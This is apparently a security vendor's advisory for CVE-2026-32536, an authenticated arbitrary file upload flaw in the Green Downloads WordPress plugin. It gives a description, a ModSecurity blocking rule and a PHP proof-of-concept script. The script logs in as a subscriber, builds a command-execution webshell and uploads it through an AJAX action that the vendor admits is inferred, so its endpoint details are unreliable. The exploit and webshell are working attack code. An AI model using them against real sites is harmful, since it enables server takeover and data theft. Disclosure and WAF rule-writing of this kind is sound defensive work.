Atomic Edge analysis of CVE-2026-32536 (metadata-based):
The Green Downloads WordPress plugin version 2.08 and earlier contains an authenticated arbitrary file upload vulnerability. Attackers with Subscriber-level access or higher can upload files without proper type validation, potentially leading to remote code execution. The CVSS score of 8.8 reflects high impact across confidentiality, integrity, and availability.
Atomic Edge research identifies the root cause as CWE-434: Unrestricted Upload of File with Dangerous Type. The vulnerability description confirms missing file type validation in the upload functionality. Without source code, Atomic Edge infers the plugin processes file uploads through WordPress hooks (likely AJAX or admin-post handlers) but fails to implement proper MIME type checking, file extension validation, or content verification. This inference aligns with common WordPress plugin patterns where file upload handlers check capabilities but not file content.
Exploitation requires an authenticated session with at least Subscriber privileges. Attackers likely target an AJAX endpoint like /wp-admin/admin-ajax.php with action=halfdata_paypal_green_downloads_upload or similar. The POST request contains file upload parameters (possibly ‘file’ or ‘upload_file’) with a malicious payload. Attackers can upload PHP webshells disguised with double extensions (.php.jpg) or directly as .php files if the server executes them. The uploaded file location is typically within /wp-content/uploads/ or plugin-specific directories.
Remediation requires implementing comprehensive file validation. The patched version 2.09 likely added server-side MIME type verification, file extension whitelisting, and content inspection. Proper WordPress security practices include using wp_handle_upload() with allowed file types, checking file signatures, and storing uploaded files outside web-accessible directories. Atomic Edge notes these measures are inferred from the CWE classification rather than confirmed via patch analysis.
Successful exploitation grants attackers the ability to upload arbitrary files, including PHP webshells or malicious scripts. This leads to full server compromise with remote code execution in the web server context. Attackers can deface websites, steal sensitive data, install backdoors, or pivot to internal networks. The low attack complexity and no user interaction requirement make this vulnerability highly exploitable in environments with open user registration.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-32536 (metadata-based)
# Targets arbitrary file upload via Green Downloads plugin AJAX endpoint
# Rule structure assumes plugin uses standard WordPress AJAX handler with specific action
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202632536,phase:2,deny,status:403,chain,msg:'CVE-2026-32536: Green Downloads Arbitrary File Upload via AJAX',severity:'CRITICAL',tag:'CVE-2026-32536',tag:'WordPress',tag:'Plugin',tag:'Green-Downloads'"
SecRule ARGS_POST:action "@rx ^halfdata_paypal_green_downloads"
"chain,tag:'action-match'"
SecRule FILES "@rx .(php|phtml|php[0-9]|phar|inc|htaccess|htpasswd|pl|cgi|sh|bash|py|rb|js)$"
"t:none,t:lowercase,t:urlDecodeUni,msg:'Blocked dangerous file extension upload via Green Downloads plugin',tag:'file-upload'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-32536 - Green Downloads <= 2.08 - Authenticated (Subscriber+) Arbitrary File Upload
<?php
/**
* Proof of Concept for CVE-2026-32536
* Assumptions based on metadata:
* 1. Plugin uses WordPress AJAX handler for uploads
* 2. Action parameter follows plugin slug pattern
* 3. File parameter name is 'file' or similar
* 4. Subscriber-level authentication required
*/
$target_url = 'https://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
// Step 1: Authenticate as Subscriber
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
$response = curl_exec($ch);
// Verify authentication by checking for WordPress dashboard elements
if (strpos($response, 'wp-admin') === false) {
die('Authentication failed');
}
// Step 2: Construct malicious file upload
// Create a simple PHP webshell
$php_shell = "<?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>";
$file_name = 'shell.php.jpg'; // Double extension attempt
file_put_contents($file_name, $php_shell);
// Step 3: Exploit vulnerable upload endpoint
// Based on plugin slug 'halfdata-paypal-green-downloads', likely AJAX action
$upload_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array(
'action' => 'halfdata_paypal_green_downloads_upload', // Inferred action name
'file' => new CURLFile($file_name, 'image/jpeg', 'shell.php')
);
curl_setopt($ch, CURLOPT_URL, $upload_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);
// Step 4: Parse response for upload location
// Typical WordPress AJAX returns JSON with file URL
$json_response = json_decode($response, true);
if ($json_response && isset($json_response['url'])) {
echo "File uploaded to: " . $json_response['url'] . "n";
echo "Test with: " . $json_response['url'] . "?cmd=idn";
} else {
echo "Upload may have succeeded. Check response:n";
echo $response . "n";
}
// Cleanup
unlink($file_name);
curl_close($ch);
?>
